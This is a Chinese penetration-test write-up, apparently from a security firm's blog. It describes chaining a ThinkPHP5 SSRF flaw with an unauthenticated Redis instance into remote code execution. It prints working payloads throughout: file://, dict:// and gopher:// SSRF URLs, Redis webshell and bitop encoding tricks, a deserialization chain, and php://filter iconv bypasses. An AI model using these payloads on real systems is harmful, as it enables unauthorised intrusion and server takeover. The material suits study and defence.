一次“SSRF–>RCE”的艰难利用

  • A+
所属分类:安全文章

乐清小俊杰@Pentes7eam

前言

一次授权的渗透测试中,发现一处SSRF漏洞,可结合Redis实现RCE,看似近在咫尺,却又满路荆棘,经过不懈努力,最终达成目的。其中有几处比较有意思的地方,抽象出来与大家分享。

发现SSRF

目标站点使用ThinkPHP5框架开发,互联网可直接下载源代码,通过代码审计发现一处SSRF漏洞,代码如下所示:

public function httpGet($url=""){
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_TIMEOUT, 8); //curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1); curl_setopt($curl, CURLOPT_URL, $url);
$res = curl_exec($curl); curl_close($curl);
return $res; }

利用SSRF漏洞读取ThinkPHP5配置文件:http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php

一次“SSRF-->RCE”的艰难利用


如上图所示,目标业务系统采用Redis缓存数据,且密码为空。

利用gopher协议尝试获取info信息:

http://domain.com/public/index.php?s=index/test/httpget&url=gopher://127.0.0.1:6379/_info

发现无回显,一段时间后500错误,疑似连接上后超时退出,原因不明(后期复盘时推测为疑似开启了php短标签导致语法错误)

一次“SSRF-->RCE”的艰难利用

尝试利用dict协议,成功获取Redis的info信息

http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info

一次“SSRF-->RCE”的艰难利用

尝试Redis 写Shell

上述信息中显示,Redis服务的PID 为3517,查看/proc/3517/status文件。

其Redis服务用户权限为Redis

而目标Web服务器为Nginx,其用户权限为www-data,故利用Redis写shell,执行flushall操作后可能无法直接还原数据,需要通过本地提权获得ROOT用户。由于存在不确定性,故对于本次渗透测试场景下此方法不可取。

利用Redis dbfilename写shell过程发现写入后门时

 dict://127.0.0.1:6379/set d '<?php phpinfo();?>'

无法使用“?”符号,如下图所示

一次“SSRF-->RCE”的艰难利用

翻阅Redis文档,发现可以使用bitop命令

bitop知识相关链接地址为:https://redis.io/commands/bitop,该命令可以对Redis缓存值按位计算并获取结果保存,如下图所示:

一次“SSRF-->RCE”的艰难利用

执行save操作后访问目标发现回显500错误,猜测原因可能如下:

  • 目标redis数据过大(目标存在10w+ keys),导致超过PHP 执行文件大小;

  • 可能是数据中存在与PHP代码相似数据,解析出现语法错误,导致无法执行。

尝利用ThinkPHP反序列化

查看ThinkPHP的Redis的获取数据代码,发现如果值以think_serialize:开头就可以触发反序列化。

一次“SSRF-->RCE”的艰难利用

目标ThinkPHP的版本为 5.0.24,该版本存在已知反序列化写文件漏洞,相关漏洞细节链接:http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/。采用该链接中的漏洞利用代码,直接生成的反序列化数据如下(数据前加上了think_serialize:)

一次“SSRF-->RCE”的艰难利用

测试发现由于反序列化数据流中存在x00,导致程序报错,如下图所示:

一次“SSRF-->RCE”的艰难利用

测试发现反序列化数据流中存在“ : ” 符号,dict协议无法传输。

一次“SSRF-->RCE”的艰难利用

结合bitop not命令,先对数据进行取反,进入redis后,再取反,得到真正的反序列化数据。过程下图所示。

一次“SSRF-->RCE”的艰难利用

至此,只要访问代码中触发缓存的点即可触发ThinkPHP5反序列化。

修改反序列化利用代码

ThinkPHP反序列化漏洞最终的写入点为

file_put_contents($a,'<?php exit();'.$a)

需要使用php://filter协议来绕过,原有漏洞利用代码:

php://filter/write=string.rot13/resource=xx<?php使用的rot13反转,虽然绕过了exit();但是会导致输出文件出现<?cur 如下图所示

一次“SSRF-->RCE”的艰难利用

经测试目标返回500,推测是开启了php短标签导致语法错误,这估计也是前面Redis写shell出现 500状态码的原因。

经过大量尝试,最终发现使用php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=abcdiconv.UCS-4LE.UCS-4BE 函数会将目标4位一反转,从而绕过短标签。

一次“SSRF-->RCE”的艰难利用

一次“SSRF-->RCE”的艰难利用

但测试发现目标关键文件始终为空,而本地却可以生成。测试使用写入数据为aaaa仍为空。图为本地生成的关键文件

一次“SSRF-->RCE”的艰难利用

猜测目标开启了php strict模式,关键文件的总字符数不能被4整除(除后余2,如果添加2字符,则写入数据不能正常显示为shell)导致写入为空。

最后尝试php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=xxxx成功getshell。iconv.UCS-2LE.UCS-2BE为2位一反转。

gopher协议再验证

重新测试gopher协议。最后发现gopher协议会自动url解码一次。

一次“SSRF-->RCE”的艰难利用

通过nc 对比gopher和dict协议后发现,dict会自动加上quit命令 XD

一次“SSRF-->RCE”的艰难利用

于是成功让gopher有回显,url=gopher://127.0.0.1:6379/_set key aa%253abbcc%250d%250aquit如下图所示:

一次“SSRF-->RCE”的艰难利用

但是使用url=gopher://127.0.0.1:6379/_set key aa%2500bbcc%250d%250aquit时,仍然超时,猜测可能被截断,但是对比nc数据包发现和发送数据一致。

一次“SSRF-->RCE”的艰难利用

尝试将数据包直接导入redis

一次“SSRF-->RCE”的艰难利用

发现并没有修改成功,尝试导入redis-cli

一次“SSRF-->RCE”的艰难利用

修改成aa?那么真相只有一个 -> 我是菜鸡

redis-cli 的命令会被转化。如下图所示:

一次“SSRF-->RCE”的艰难利用

于是使用如上图的方式即可传入x00字符:

url=gopher://127.0.0.1:6379/_*3%250d%250a$3%250d%250aset%250d%250a$3%250d%250akey%250d%250a$4%250d%250aaa%2500a%250d%250aquit

一次“SSRF-->RCE”的艰难利用

其他

经测试也可以使用 Redis bitfield命令(相关命令说明链接:https://redis.io/commands/bitfield)来快速设置字符:

一次“SSRF-->RCE”的艰难利用



关于我们

一次“SSRF-->RCE”的艰难利用

人才招聘

一、高级攻防研究员


工作地点:

1.杭州/重庆/上海/北京;


岗位职责:
1.前沿攻防技术研究;
2.负责完成定向渗透测试任务;
3.负责红队工具的研发。

任职要求:
1.三年以上相关工作经验,若满足以下所有条件,则可忽略此要求;
2.熟练掌握Cobalt Strike、Empire、Metasploit等后渗透工具的使用;
3.熟练掌握工作组/域环境下的各种渗透思路、手段;
4.具有大型、复杂网络环境的渗透测试经验;
5.具有独立的漏洞挖掘、研究能力;
6.熟练至少一门开发语言,不局限于C/C++、Java、PHP、Python等;
7.良好的沟通能力和团队协作能力。

加分项:
1.红队工具开发经验;
2.有良好的技术笔记习惯。


感兴趣的小伙伴请联系姜女士,或将简历及想要的职位投送至下方邮箱。(请注明来源“研究院公众号”)

联系人:姜女士
邮箱:[email protected]
手机;15167179002,微信同号

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: